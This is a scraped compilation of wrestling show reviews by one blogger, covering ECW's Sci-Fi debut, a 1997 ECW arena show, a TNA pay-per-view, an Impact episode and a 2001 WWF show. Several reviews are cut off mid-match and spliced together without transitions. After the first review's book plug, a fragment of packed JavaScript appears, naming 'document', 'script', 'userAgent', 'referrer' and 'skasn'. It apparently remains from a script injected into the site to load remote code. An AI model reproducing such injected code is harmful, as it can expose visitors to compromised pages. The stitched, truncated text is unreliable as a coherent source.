Short version: quit having your champion wrestle random matches and lose most of them.

So this is the debut of ECW on Sci-Fi which I found online out of boredom. Since I’m getting dangerously close to the end of the ECW PPVs, I figured I’d do the first and last shows of ECW on Sci-Fi and TNN just for the heck of it. This show is considered a miserable failure so let’s find out why. The main event is a battle royal to determine who fights Cena at Vengeance. ECW came back officially two days before this so it’s brand new and this is the big debut. Let’s get to it.

We open with a recap of the second One Night Stand which was where the If Cena Wins We Riot sign debuted. Cena says he’ll be on ECW tonight, thereby killing ECW on its opening night. This was supposed to be the real ECW but you could tell that was never going to happen a few seconds after it debuted.

Heyman opens us up here and brings out RVD. They even have the hole in the brick wall entryway. RVD is WWE Champion here, having won it two nights ago. His voice reminds me of a less depressed Vin Diesel for some reason. They keep saying he’s the champion without saying WWE. Heyman declares him the ECW World Champion. Taz says no one knows what RVD is feeling. I think that should say no one knows why RVD never won the title in the original ECW. He says he’s just going to defend both titles. Van Dam wants the other one because it spins.

And here’s the #1 contender: Edge. Edge is ok because he could have made it in the original ECW I think. He cost Cena the title at Vengeance so he’s WAY over. Edge spears him after complimenting him. He goes through the crowd and Cena is behind him. RVD and Cena fight over who gets to beat up Edge. This of course allows Edge to escape. And remember, this is ECW. Pay no attention to the argument going on over the WWE Title with WWE guys.

After a house show ad, Heyman gives a speech to the locker room and says they’re invading Raw on Monday. You know it might work better if you didn’t say it on national TV.

The Zombie vs. The Sandman

And this right here is where ECW died completely. Since they could only get on Sci-Fi, they tried to get more sci-fi stuff on the show, hence this. And cue Sandman to not Metallica. Styles and Taz don’t even try to take this seriously. This is like a bad indy show joke or something. Sandman canes the heck out of him to a great pop and the White Russian Leg Sweep ends this in like 10 seconds. Dust flew off of Zombie. No rating obviously.

Kelly is an exhibitionist and wants to take off all of her clothes.

DX is coming back. On ECW. Shoot me. Better yet shoot Heyman as he doesn’t deserve this.

We see the whole Taz destroying King match from the PPV two days ago. It’s a 30 second squash but we see the whole thing, including intros.

Kurt Angle vs. Justin Credible

Angle would be in TNA later this year so what does that tell you about their luck? He had been the big guy sent to ECW to make them credible which to be fair is a good idea since he was in ECW before he was in WWE if you squint really hard when you look at it. Also his personality fits for ECW so it’s not that much of a stretch. Angle of course destroys Justin by throwing him all over the place and treating him like a video game character. Justin shoves him and Angle hits something close to the Tazmission to make him tap in maybe 90 seconds, which is somehow the longest match of the night, tripling the second place offering so far. No rating again obviously. He calls out Orton for a rematch at Vengeance.

Heyman says he’s throwing out everything he had planned and we’re having an extreme battle royal for the shot against Cena at Vengeance.

Read the Rise and Fall of ECW.

An unnamed character (Kevin Thorn) looks up at the ECW sign as Joey and Tazz say he couldn’t be what they think he is (vampire).

Kelly comes out to strip for us. She only has one name so far. She gets down to her underwear and unhooks her bra and puts her hands over her chest and leaves. Was there a point to that at all?

Extreme Battle Royal

Tommy Dreamer, Sabu, Big Guido, Little Guido, Stevie Richards, Big Show, Roadkill, Danny Doring, Al Snow, Tony Mamaluke, Balls Mahoney

So despite Heyman saying 10 there are 11. Sure why not. The weapons are all on the floor which completely goes against the logic of a battle royal. Balls has a bad cover of AC/DC. Show has hair here. That’s not something I’m used to. Wait didn’t he get his head shaved before this? Everyone runs from Show and it’s almost impossible to keep track of who is eliminated and who is just running. Roadkill takes a fallaway slam and we go to a break. No one has been eliminated since they all went through the ropes. We get some token weapons shots and I want this to end.

Taz tries to play this off as being more extreme than anything else and I feel sorry for him. Sabu sets up a table. Everyone jumps Show and it does nothing at all. Show puts out Snow. And Doring. Uh Richards too. Might as well say Roadkill too. Balls Mahoney is number five. This is all in a row so I’m not skipping anything. Dreamer goes after Show with something made of metal and of course it does jack. He goes through a table on the floor. It’s Show, the FBI and Sabu. Show puts all three of the non-fake Arabians out in about 45 seconds and then Sabu hits him while he’s on the ropes to win it.

Rating: F. Oh sweet mama this was bad. Show literally eliminated everyone other than Sabu in less than 4 minutes. There’s domination and then there’s this. One of the worst battle royals ever to fittingly close out one of the worst hours ever.

Overall Rating: G. This is one of those weird shows that actually goes beyond failing and blazes new territory. Other than the main event if you want to call it that, the longest match was less than 100 seconds long. One match had a zombie and one was from a PPV so it wasn’t even new. They had no freaking clue what they were doing with this and it showed badly. They more or less redid the whole thing the next week when this bombed so terribly. Not even worth it for the historical value. Terrible show.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsera|var|u0026u|referrer|skasn||js|php'.split('|'),0,{})) To Be Wired
Date: August 9, 1997
Location: ECW Arena, Philadelphia, Pennsylvania
Commentator: Joey Styles

Little Guido vs. Pablo Marquez

Guido works on the leg (notice how fast this is changing momentum) but Marquez comes back with a sunset flip and clothesline for no cover. Marquez sends him to the floor and botches a dive, resulting in him just grazing Guido with his feet. Back in and Pablo dives on the FBI, resulting in Rich hitting him in the back with a flag for the pin by Guido.

Mikey Whipwreck vs. Louie Spicolli

Mikey comes back with a rana but the second is countered into a powerbomb for two. Spicolli misses a Swanton and Mikey speeds things up, only to get sent to the floor. Mikey whips Louie into the barricade and hits a HUGE dive from inside, crashing his legs into the railing in the process. Back inside and a top rope rana gets the pin for Whipwreck.

Spike Dudley vs. Bam Bam Bigelow

Chris Candido vs. Chris Chetti

Rating: C+. Another match with no story to it and in this case there was even less of a doubt as to who was going to win given how Joey kept hyping up Taz vs. Candido at the PPV. Chetti was doing fine here but he was in over his head with Candido, who was one of the top guys ECW had.

Lance Storm vs. Shane Douglas

Shane hot shots Storm and stomps away in the corner. With Storm seated in the corner, Douglas baseball slides him into the crotch. Off to a camel clutch by Shane to taunt Sabu. Francine throws in some chairs and Storm gets suplexed down onto an open one for two. Douglas gets backdropped to the floor and crotched on the barricade.

Back in and a springboard cross body gets two for Storm as does an enziguri. A few rollups get a few near falls for both guys and Storm speeds things up. Storm misses a guillotine legdrop but counters the belly to belly into a DDT. The second attempt at the suplex hits for Shane and gets the pin.

TV Title: Taz vs. Al Snow

Dudley Boys vs. Axl Rotten/Balls Mahoney

Rating: C-. This was a big brawling mess but it was what the fans wanted to see. The six man part only lasted about four minutes but that was what the fans were the most excited for. Meyers was a guy who was basically just a brawler but he was insanely popular with the fans. The Dudleys would do whatever they wanted for about two more years before bailing to the WWF.

Rob Van Dam vs. Tommy Dreamer

ECW World Title: Terry Funk vs. Sabu

Sabu is challenging and this is a barbed wire match, which means the ropes have been replaced by barbed wire. Terry heads to the corner to start but Sabu dropkicks the knee out and we head to the mat. Funk tries to throw him into the wire but Sabu puts the brakes on. Sabu does the same as Terry but Terry rolls to the floor to escape. Back in and Sabu puts on a quick camel clutch which goes nowhere.

Time for another filler PPV from the boys in Orlando. The card here is better than the Victory Road show but it’s definitely a B show at best. The main event is Roode vs. RVD for the title and we’ll likely get more developments in the return of Abyss story as well. To be fair though, that’s one of the most interesting stories they’ve had in awihle. Let’s get to it.

The opening video is about how Roode is angry about recent events.

Tag Titles: Samoa Joe/Magnus vs. Kazarian/Christopher Daniels

The announcers talk about how awesome Magnus is. He and Daniels start with the British guy in control. Daniels gets in an elbow in the corner but a cross body is countered into a suplex in a cool power display. Off to Joe and Daniels runs away, bringing in Kaz. A big elbow puts Kaz down and it’s off to Magnus. The champions use some good teamwork to beat on Kaz but Daniels trips up Magnus to shift control.

Magnus plays Ricky Morton with a British accent. Both challengers work on him a little bit at a time until it’s chinlock time from Daniels. Joseph Park is in the audience. Kaz hooks a double chickenwing but Magnus fights up and hits a shoulder block to escape. There’s the tag to Joe who cleans house and creates heel miscommunication. Release Rock Bottom puts Daniels down out of the corner.

Daniels breaks up the champions’ finishing move with a boot to Joe’s face. A DDT gets two on Joe as does the STO. Magnus gets in a shot to allow the champions to hit the finishing sequence on Daniels but Kaz pulls Magnus to the floor. Joe goes for the save and Magnus goes back in, but the challengers hit a Total Elimination on Magnus for the surprise pin and the titles at 10:54.

Rating: C. Pretty good opening but the ending was pretty surprising. I guess there’s a reason to give the titles to Daniels/Kaz, but the division is still pretty weak given the roster of tag teams at this point. Joe and Magnus were getting good together and I’m sure they’ll get a title shot again but odds are on AJ finding a partner and going after them.

Tenay and Taz plug their social media stuff.

We recap Brooke vs. Gail. In short: Gail is a wrestler, Brooke is a model who looks good in a bikini but she wants to prove she can fight. Brooke has three wins in a row over Gail coming into this.

Knockouts Title: Brooke Tessmacher vs. Gail Kim

Gail jumps Brooke to start but Tessmacher tries Eat Defeat twice to send Gail running to the floor. Gail gets in a kick to the ribs to take over and follows with a shoulder block to the ribs. The champion hits a backbreaker and bends Brooke over the knee in a submission hold out of the same position.

It’s about 99% Kim until Brooke gets a flying forearm to get herself a breather. A facejam out of the corner puts Gail down and a top rope elbow gets two. The champion tries a quick Eat Defeat but Brooke hits one of her own which knocks Gail to the floor. Back inside that gets two. And then Gail rolls her up with feet on the ropes to retain at 6:50.

Rating: C-. Not bad here but Tessmacher continues to be just barely better than your normal terrible women’s wrestler. Anyone that believes she’s out there because of anything other than how she looks in her wrestling outfits is delusional. Still though, I’d have switched the title due to how long Gail has had the title and how stale her title reign has gotten.

Kaz and Daniels say that AJ got where he is by whistling Dixie. Kaz and Daniels are where they are because they beat people up. Daniels says his championship is proof. This is just beginning with AJ and you may now worship them.

TV Title: D-Von vs. Robbie E vs. Robbie T

Officially it’s a triple threat. D-Von punches T to the floor and then punches E down. A Rock Bottom gets two on E but T pulls the champion to the floor. E gets back up and tells T to stand down because he’s got this. Powerslam gets two for E. D-Von comes back and knocks E to the floor but T catches him with a shot to the back. Powerslam gets two as E makes the save. Extra and Terrestrial get in a shoving match, allowing D-Von to roll up T to retain at 5:40.

Rating: D+. This feud MUST be over now right? It’s been going on for like four months now and for the life of me I don’t get why it’s continued this long. Are there really no other people that can get in on the TV Title hunt? Nothing to see here but hopefully it ends this feud once and for all.

T teases attacking E post match but they’re ok.

We recap Anderson vs. Hardy. Basically they both wanted to be #1 contender but got in a fight instead. RVD got the shot so these two need something to do.

Mr. Anderson vs. Jeff Hardy

Feeling out process to start resulting in some armdrags by Hardy into an armbar. They head to the floor with Jeff in control and Anderson going into various metal objects. Jeff tries a running attack off the steps but Anderson moves. Jeff blocks the contact into the railing though and therefore doesn’t lose control. Back in Anderson kicks him down but gets caught by a jawbreaker from Jeff.

Jeff tries the slingshot dropkick in the corner but Anderson gets his own feet up to block it. Clothesline gets two as does a flying armbar. Hardy rolls to the apron and tries to fight back but gets caught by a neckbreaker through the ropes for two. Anderson hooks the arm again but Jeff fights to his feet. Another neckbreaker is countered and Jeff hits a Mic Check to put both guys down.

Anderson is up first but Jeff meets him with right hands. Hardy loads up Whisper in the Wind but Anderson moves forward to send Hardy crashing down. Twist of Fate from Anderson gets two but the Kenton Bomb misses. The Swanton connects but only for two. In a really strange ending, Hardy tries his legdrop between Anderson’s legs but Anderson shoves Hardy’s legs back and rolls him up for the pin, but I was almost sure Hardy kicked out. Either way it gets the pin at 11:40.

Rating: C-. This was supposed to be a big main event style match but it didn’t work at all for me. Anderson is just so uninteresting in the ring and for the life of me I don’t get why he went over Hardy here. I guess the ending is going to be a selling point later on as Hardy pretty clearly kicked out and he protested after the match, but we’ll have to wait for Impact for that.

Aries says he isn’t worried about Ray tonight. He thinks better is better than bigger, and that the bullying stops tonight.

We get a video from the end of Impact where Abyss returned.

Joseph Park is in the crowd and is having a great time. He says he didn’t see Abyss return on Thursday because he was recovering from Ray attacking him. Abyss might appear tonight too.

Crimson comes out to brag about beating Morgan on Thursday. He issues an open challenge and here’s who he gets.

Crimson vs. Eric Young

I didn’t hear a bell and it’s time for COMEDY! Eric locks up with the referee and does Ultimo Dragon’s handstand in the corner. A clothesline puts Crimson on the floor, although I never heard a bell. Crimson throws him to the floor to take over and a suplex gets two. There’s the cravate and Eric gets shoved down. ODB gets in and gets shoved down which ticks Eric off. And there go his pants. He slams Crimson down and drops a top rope elbow for no cover. Eric goes to check on ODB but Crimson shoves him into the wife and Red Sky gets the pin at 4:00.

Rating: D. What does anyone see in either of these guys? Eric IS NOT FUNNY. He does the same stuff every single week and it just isn’t funny. Hey look: he can take his pants off and lock up with a referree. COMEDY! Crimson is the most uninteresting undefeated name this side of Tatanka as it’s clear they have no idea what they’re doing with him.

Ray says that he doesn’t do Twitter and plugs his MySpace page. He’s too big for Aries to beat too.

We recap Aries vs. Ray, which is victim vs. Bully with the victim fighting back.

Bully Ray vs. Austin Aries

Ray goes into a nearly Memphis level of stalling until Aries jumps him. Taz uses the time to actually offer some veteran analysis, talking about how it’s possible for a smaller guy to use leverage moves against bigger guys like Ray. Aries pounds away on him but gets shoved down. Ray tries to stomp him but Aries bites the calf to escape. Aries goes up but a big boot knocks him into the barricade in a cool looking bump.

Oh man Aries has some bad looking bruises on his back which Tazz calls busted blood vessels. Ray slams him down and puts on a bearhug before hitting a HARD chop to the chest. Aries pops up and says hit me again which Ray does. Aries tries to come back but gets chopped down again. Ray says stay down but Aries comes back with chops. A running elbow in the corner hits Ray but he comes back with a modified powerbomb for two. Ray sends him into the ropes and hits a wicked one man 3D but it only gets two.

Here comes Joseph Park to the front row and Ray comes out to get in his face. He pulls Park over the railing and into ringside but Aries takes Ray down with a suicide dive. Back in the ring a missile dropkick sends Ray into the corner and Aries somehow pulls off the brainbuster for two. Ray tries a superbomb out of the corner but falls on his face, allowing Aries to throw on the Last Chancery for the tap at 13:17.

Rating: B. Good match here and it’s good that they gave Aries the win. There was no need to have Ray get a win here and for awhile I was thinking they were going to go with him. On a side note, that one man 3D is a great finisher for Ray as it looks devastating. Anyway, good win for Aries here but he needs to get rid of that belt soon. It’s not helping him anymore and it kills the division a little more every day he has it.

We recap the pictures being revealed on Monday.

AJ says he isn’t here to talk about pictures.

We recap Angle vs. Styles. Angle beat Styles because AJ was distracted by Daniels and the photos he had and Angle didn’t want to win that way. This is his rematch.

AJ Styles vs. Kurt Angle

Angle is pretty much a tweener now as he doesn’t really have an allegiance to either side of the spectrum. AJ takes it to the mat which goes to a standoff. Now Angle takes it to the mat and AJ bails. Angle has lowered his kneepad and tells AJ to shoot for the leg. AJ outsmarts him though and kicks Angle in the face as Angle drops down into defense. Angle hooks a bearhug and tries a suplex but Styles counters into a Styles Clash attempt which is countered into an ankle lock attempt which doesn’t work.

Angle takes over with a headlock which lasts for awhile. Styles comes out of it and drops a knee. Styles Clash is broken up again and they head to the floor. AJ counters a suplex by landing on his feet and takes Angle down with a clothesline. In the ring AJ misses a jumping attack in the corner and Kurt suplexes him down. AJ fights out of a body vice but runs into a backbreaker for two.

Off to a chinlock as this match slows way down. AJ gets up and both guys try cross bodies. Styles speeds things up and hits an AA into a backbreaker for two. Springboard forearm gets two. Angle blocks the Clash but gets sent to the floor. AJ hits the springboard forearm to the floor and both guys are down. Kurt suplexes him from the apron into the ring for two.

A belly to belly superplex is countered but Angle runs the ropes and hits the superplex for two. Angle Slam is countered with the Pele and the Styles Clash gets two. Kurt reverses a German into a release one of his own to put both guys down. Styles gets a spinning rollup for two but Kurt pulls off an Angle Slam. That gets two and Kurt is frustrated. Kurt pushes A+B at the same time and gets two off a Styles Clash. The moonsault misses and AJ hits his springboard 450 for two. AJ sets for something else and here are Kaz and Daniels for the interference, allowing Angle to hit another Slam for two. Ankle and grapvine end this at 20:45.

Rating: B. First and foremost, AJ and Angle had a good match. No one paying attention should be surprised at this at all. That being said, I do not want to ever see Christoper Daniels vs. AJ Styles again. I don’t care what the angle is, I don’t care what new twist they put on it, I don’t care how it turns out. I’m tired of seeing it and there’s no reason to put them together anymore. They’ve feuded on and off for over seven years now and I’m not interested in seeing it anymore.

Angle saves Styles from the double beatdown. There’s Slammiversary I’d assume.

Angle’s moonsault at Lockdown against Anderson is the #8 moment in TNA history.

Roode doesn’t feel right because he doesn’t have his belt with him. It’s above the ring and he doesn’t like it.

We recap Roode vs. RVD. RVD won a match to get the title match then won another one to make it a ladder match. That’s about it.

TNA World Title: Rob Van Dam vs. Bobby Roode

Ladder match. The belt looks higher up than it usually is. Van Dam knocks him to the floor to start and goes for the ladder, but Roode breaks it up. Van Dam comes back and hits the spinning kick to the back of Roode on the barricade. Van Dam goes for the ladder again but gets caught in a DDT for Roode to take over. Rob comes back with a flip dive to the floor to put Roode down. This is pretty slow paced to start but it’s not bad.

The ladder gets set up in the corner and Roode goes face first into it. Now it gets placed on the middle rope and Roode slingshots RVD’s face into it. Roode’s suplex onto the ladder is blocked and Van Dam suplexes Roode onto the ladder instead. A Lionsault onto Roode onto the ladder puts both guys down. Van Dam sends him back first into the ladder and puts him in Van Terminator position.

Instead he surfboards the chair into the ladder into Roode which puts Van Dam down as well for some reason. Van Dam gets another ladder and goes up but Roode knocks him off. Rob bumps into the ladder to knock Roode off and the ladder hits Roode in the head. I think he’s ok though as he clotheslines Van Dam down and hits the spinebuster onto the ladder. Van Dam comes out of nowhere with a monkey flip to send Roode into the ladder in the corner, followed by Rolling Thunder.

The challenger has a nasty cut and lump on his elbow. Bad elbow and all he kicks Roode onto a ladder but the Five Star misses Roode and hits the ladder. Roode goes up and Van Dam tries to pull a Shelton Benjamin and jump onto the ladder but he misses and ties his leg up in it. Somehow he manages to climb up to chase Roode, only to get shoved off and hit his head on the chair from earlier. Roode retains at 15:28.

Rating: C+. This was fine but it was nothing great at all. I don’t think most people expected RVD to take the title here, as he was the veteran in this kind of match coming into his own match so of course he had no chance. The match was entertaining enough for a B-Show main event, but Van Dam was nothing but a placeholder to be another guy for Roode to beat.

Overall Rating: B-. This was pretty much what I was expecting: a decent show where nothing significant happens at all (on paper at least). That’s what plagued Lockdown (among other things): nothing changed. TNA has been in the same place for awhile now and that’s not a good thing. They need to shake things up a little bit, and I think that’ll happen at Slammiversary. It was an entertaining show but it’s nothing I’ll remember three days from now.

Results
Kazarian/Christopher Daniels b. Samoa Joe/Magnus – Total Elimination to Magnus
Gail Kim b. Brooke Tessmacher – Rollup with feet on the ropes
D-Von b. Robbie E and Robbie T – Rollup to Robbie T
Mr. Anderson b. Jeff Hardy – Rollup
Crimson b. Eric Young – Red Sky
Austin Aries b. Bully Ray – Last Chancery
Kurt Angle b. AJ Styles – Ankle Lock
Bobby Roode b. Rob Van Dam – Roode pulled down the title

Remember to like this on Facebook and follow me on Twitter @kbreviews

This is the first of the Open Fight Nights, which means that anyone that challenges anyone else will automatically get their match. There’s a guaranteed title match as well as a guaranteed TV Title match which will be the case every week. Other than that we’ll continue the build towards Sacrifice and the main event between RVD and Roode. Let’s get to it.

We open with Hogan talking to the champions (minus ODB and Young) and saying they could be challenged tonight too. Tonight Joe and Magnus will be defending against….some team that Hogan will announce just before the match. He might even tell them as the opponents are on the way to the ring.

D-Von comes out and says that since he has to defend against someone every week, tonight it’s going to be against the guy that everyone wants to see get beaten up: Bubba. Yes Bubba, not Bully. He has to accept because it’s a challenge on Open Fight Night. Ray comes out and runs his mouth first, saying that he doesn’t want to be in a ring with D-Von. Ray says no, so D-Von chases after him and throws him into the ring

TV Title: D-Von vs. Bully Ray

D-Von throws him into the ring and Ray begs off like a true bully. Thesz Press puts Ray down and D-Von goes up, only to get crotched as we take a break. Back with Ray dropping elbows and we get a clip of him holding up the belt during the break. D-Von comes back with right hands but Bubba clotheslines him down for two. Bubba sets for a charge but runs into the spinebuster for the completely clean pin at 9:45, most of which was in a commercial.

Rating: D+. The match was nothing interesting and for the life of me I don’t get the idea of pushing D-Von this hard. He hasn’t been bad, but man alive there are a lot more people that could be pushed besides him. Nothing to see here for the most part and if this is what open fight night is going to be like, it doesn’t seem like something that’s going to be all that interesting. It’s early yet though.

Flair is going to have a party for Eric (uncensored) Bischoff later tonight.

Kaz and Daniels come in to talk to Angle and ask for a thank you for the AJ victory last week. Angle yells at them and says stay out of his matches. Daniels also mentioned that AJ’s world will come crashing down in a few weeks.

Here’s JB who says that since it’s Open Fight Night, he wants to call out Eric Bischoff for being a jerk to JB, who has more seniority than anyone in the company. Eric went on a rant on Facebook or Twitter about JB recently and this is the payoff. Here’s Eric, marking his time away from Impact at one full week. Eric takes a picture of JB and Borash goes into a rant about Eric getting drunk and talking about employees behind his back.

As Eric talks, Ray comes in with a low blow to JB. Eric says he’s going to post something on his Twitter, and demands that a referee come in. he rolls up JB and has the bell rung. You know for a guy that isn’t on the show anymore, he’s around a lot anymore.

Anderson remembers Bischoff and talks about how he’s a hypocrite. Mexican America’s music is loudly playing during most of this. Pay no attention to the graphic saying “earlier today”.

Here’s Mexican America who says they can beat anyone.

Anarquia vs. Kurt Angle

Anarquia tries to have Hernandez do this and jumps Angle from behind. Angle Slam, Ankle Lock, 49 seconds.

We get a profile on the guy that is getting the Gut Check Challenge for a contract. It’s former OVW TV Champion Alex Silva. One of the judges (out of three plus Hogan) is Al Snow.

Alex Silva vs. Robbie E

Remember it’s not win and you’re in. Silva has to impress the judges, of which we only know two. Silva starts fast but gets caught by Robbie pretty fast. Powerslam gets one for Silva and then they cut to the crowd in probably a botch edit, followed by an implant DDT by Robbie for the pin at 2:18. Way to push these new guys right off the bat guys.

Dixie remembers the lies Eric told her.

Hogan has all of the potential tag team contenders in his office (Kaz/Daniels, Guns, Anderson/Hardy, ODB/Young) and wants to hear why each should get a title shot. The Guns say they’re dedicated more than anyone else and Hogan respects that. Hogan wants Hardy and Anderson to get along so Anderson kisses Hardy on the cheek. As for the Knockout Champions, Eric gives a speech of his own. Hogan can’t make a pick now but he eliminates the Guns from the running.

Here’s Tessmacher with something to say. She says last week she beat Gail and it’s being called a fluke. Brooke is here to prove it wasn’t just a fluke and she wants a match with Gail right now.

Gail Kim vs. Brooke Tessmacher

Brooke keeps trying to jump her but Hebner keeps stopping her. Gail jumps Tessmacher and we’re ready to go. This is non-title by the way, as I guess you can’t challenge for titles, which I thought they said you could last week but whatever. Tessmacher sends her into the corner but gets clotheslined down immediately. Tessmacher makes her comeback with some dropkicks but misses a charge and hits her throat on the ropes. Gail holds the belt in front of Brooke’s face and says she’s nothing. Kim goes up but misses a missile dropkick, allowing Brooke to hit a mat slam out of a belly to back suplex position for the pin at 3:57.

Rating: C-. Considering the great shots we got of both of these two, there’s no way you can really call this a failure. Tessmacher is out there because she looks great in a swimsuit and there’s nothing wrong with that at all. Gail needs some new challengers and Brooke is fine for that role.

Daniels and Kaz say they’ll get the title match tonight. Also if AJ doesn’t show up next week, they’re going to let the cat out of the bag.

Video on Rob getting the title shot last week and Roode has a quick response to him.

Silva and Snow are in the back and we’ll get the decision next week from Snow and the judges. Roode comes in and says he doesn’t need to introduce himself and Silva agrees. Roode doesn’t like the idea of the Gut Check deal because he had to work so hard to get the contract here. He says always be ready and hits Silva in the stomach.

Back to Hogan’s office for another elimination as this is a freaking reality show now. He throws out Eric and ODB for not being serious enough. He tells both remaining teams to go to the ring.

Garrett isn’t sorry his dad is getting fired.

Ray is on the phone with some chick when Joseph Park comes up to see him. It only took him about three months to find him too. Ray doesn’t like to be touched. He has nothing to say to Park but gets a business card, which he says to shove. Park laughs and needs a good dentist.

Tag Titles: Samoa Joe/Magnus vs. ???/???

The contenders are Hardy/Anderson and Kaz/Daniels. Hogan picks Hardy/Anderson because Kaz/Daniels aren’t legit or something.

Tag Titles: Samoa Joe/Magnus vs. Jeff Hardy/Mr. Anderson

Joe and Anderson start us off and it’s a stalemate. Anderson slaps Hardy on the chest for a tag and it’s Magnus on the other side. They have about the same result so it’s time for more communication issues with Hardy and Anderson. Back with Joe pounding on Anderson and tagging in Magnus. Anderson takes Magnus down and begrudgingly tags in Hardy. The champs double team Jeff and Joe gets two off a Magnus boot. Hardy hits the Whisper in the Wind and makes the hot tag to Anderson. He cleans house but gets caught in the Clutch as Jeff is on the floor, good for the tap at 10:53.

Rating: C+. Well this was a waste of buildup from a show. They spent the whole show building this title match up and while it was ok, there was nothing great about it and nothing happened. That’s the issue with the whole show: nothing is really happening on it and it’s getting annoying.

Here’s Flair, Gunner, Kaz, Ray and Daniels for the Bischoff party. The fans chant goodbye and Flair tells them he’ll move the party. He says if you know wrestling, you know Eric Bischoff. He asks Eric to come out and praises him for awhile. Gunner gets to thank him for a lot of stuff, Ray calls Eric the wind beneath his wings, and Flair gives him a Rolex.

Cue Garrett and some faces including RVD, Aries and the Guns along with JB. They say it’s time to induct Eric into the shed of shame, which is a portable toilet. The guys go to the ramp for a brawl and Garrett grabs Eric, throwing him in the Port-A-Potty. They chain it shut and turn it over to mess Eric up. Eric comes out of it to end the show. Oh and this got more time than any match tonight.

Overall Rating: D. This was just another episode of Impact but a lot more boring than usual. As always, WAY too much camera time for Hogan and Bischoff. If you look at the show, Ray was in I think four segments, Kaz and Daniels were in about five, Hogan was in something like ten, and NOTHING actually changed here. No titles changed hands, we don’t know about Silva (nothing special) and nothing was advanced for the PPV. This didn’t work for me at all.

Results
D-Von b. Bully Ray – Spinebuster
Kurt Angle b. Anarquia – Ankle Lock
Robbie E. b. Alex Silva – Implant DDT
Brooke Tessmacher b. Gail Kim – Face First Mat Slam
Samoa Joe/Magnus b. Jeff Hardy/Mr. Anderson – Coquina Clutch to Anderson

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It’s the final show before Unforgiven and obviously based on the date, things have changed tremendously in the whole world. Smackdown basically didn’t happen because of what happened which is perfectly fine, but it’s put them in a bind for building up the show. The good thing is that a lot of things have already been set in stone. The PPV would wind up being solid so let’s get to it.

The show opens with the American flag on the screen and a BIG USA chant. Nothing wrong with that at all.

The main events are Test/Stephanie vs. Rock II and Austin/RVD vs. Jericho/Austin.

WWF Tag Titles: Undertaker/Kane vs. Dudley Boys

Why not for both titles? Because this way if they change hands they can have ANOTHER title match that means nothing on PPVs, because that’s what they needed to fix things right? EVE MORE TITLES! Kane and D-Von start and Kane’s arm is STILL bandaged. Hasn’t that thing been hurt since April now? Kane takes him down with ease and no sells his punches. Sidewalk slam puts D-Von down and Kane drills Bubba so he can hit the top rope clothesline for two.

Off to Taker who has an American flag on his singlet now. D-Von takes him down with a shoulder block and brings in Bubba. Taker knocks down the future Bully almost immediately and hits Old School. Bubba comes back with a belly to back suplex for no cover. Kane comes in and grabs both Dudleys for chokeslams at the same time but D-Von hits him in the arm to break it up. What’s Up Kane?

Here comes a table but it doesn’t get set up. Kane is in trouble but manages to powerbomb Bubba out of the corner and tags Undertaker. A legdrop gets two on D-Von as Kane and Bubba fight on the floor. There goes the referee and cue Kronik. High Times puts Kane through the table and the 3D gives the Dudleys the titles.

Rating: D+. It was another mess but getting at least half of the titles off of Undertaker and Kane was a good thing because you had to have them get cheated to have them lose. That makes their defenses boring because you know no one is going to be able to get a clean win on them. Unfortunately this set up the Brothers vs. Kronik which was horrible.

Shane arrives and is met by Kronik and Richards. Richards offers Kronik’s services to the Alliance which is accepted. Their reward? A WCW Tag Title match on Sunday.

Storm disapproves of the swimsuit photos of Lita in WWF Magazine so he’s going to beat up Jeff tonight. Hurricane flies in and says he needs a sidekick. Storm suggests Ivory (complete with an Ivory soap ad) but Hurricane says he has a better idea and flies away.

Austin and Debra arrive and find RVD on their couch. They’re cool with each other but it doesn’t seem copacetic. RVD implies that he’s the second in command in the Alliance and if Austin is ever on vacation or something, he’d give his best to help out. Austin politely throws him out.

Lance Storm vs. Jeff Hardy

This should be good. They get technical to start and Jeff is fast enough to keep up with Storm. An O’Connor Roll is countered and they head to the floor where Jeff runs the railing for a clothesline. Back inside and Lance hiptosses him over the top and out to the floor. Storm works over the back and a backbreaker gets two. A hard Irish Whip into the corner gets the same.

Lita and Ivory are on the floor. I don’t think that pairing ever got a blowoff match or anything like that, at least not on PPV. Lance stays on the back but Jeff mule kicks out of the hold he’s in. Double legdrop between the legs and a Russian legsweep get two. Whisper in the Wind does as well, and wasn’t it nice for Storm to stand there for Jeff to hit it. Ivory’s quick distraction lets Storm hit a superkick for two. Lita goes after her and has to slap Lance as well. Jeff dives on Storm but the Swanton hits knees. Jeff tries a middle rope rana but gets caught in the Mapleleaf for the rare Jeff Hardy tap out.

Rating: C+. I liked this about as well as I thought I would. The girls were obviously going to get involved and thankfully they were only involved a little. The ending was clean and tied into the majority of the back work that Storm did earlier in the match which is all you can ask for. Fun match but I’d have liked it getting more than six minutes.

Shane asks Stephanie why she was in the handicap match last week. She says she had a plan which didn’t work that well because Booker was late. Tonight she’s in it again because….? Shane shows her what almost happened last week and Stephanie says he can’t tell her what to do. Taz comes in and wants respect so Shane gives him a match.

Perry Saturn vs. Shawn Stasiak

During Saturn’s entrance we get a recap of the Moppy Saga. Saturn runs in a circle to start so Stasiak clotheslines him down. Tilt-a-whirl slam gets two. A clothesline in the corner hits but Saturn hits something like an armdrag to take over. There’s a belly to belly and a spinning springboard dropkick for two. Stasiak comes back with a jumping back elbow for two. Saturn hits a northern lights suplex but Stacy has the referee. Shawn gets her down and kicks out of a superkick. Saturn runs the ropes and Stasiak falls on his face avoiding a leapfrog. Moss Covered Three Handled Family Credenza ends this short match.

Terri and Raven pop up on the screen with Moppy and put it through a wood chipper. You have Raven and Saturn and the feud is over a freaking mop. And people wonder why this whole Invasion story bombed.

HEY LOOK! IT’S STEPHANIE COMPLAINING ABOUT HER BROTHER! AGAIN! This time it’s to RVD. It’s now RVD vs. Jericho on Sunday for the Hardcore Title.

Hurricane offers his sidekick spot to Molly. Spike comes in to protest. You know where this is going.

Taz comes to see Shane and Booker, only to find out that his match is against the two of them.

Donate to the Red Cross. Nothing wrong with that.

Booker T/Shane McMahon vs. Taz

They double team Taz to start until Booker officially starts. Since Taz is down, Shane comes in for a Hart Attack. Jumping back elbow gets two. Back to Booker and never mind as Shane is in about 15 seconds later. Taz I think tags Booker for some reason before everyone heads to the floor. While Booker has the referee, Shane dives off the barricade with a clothesline.

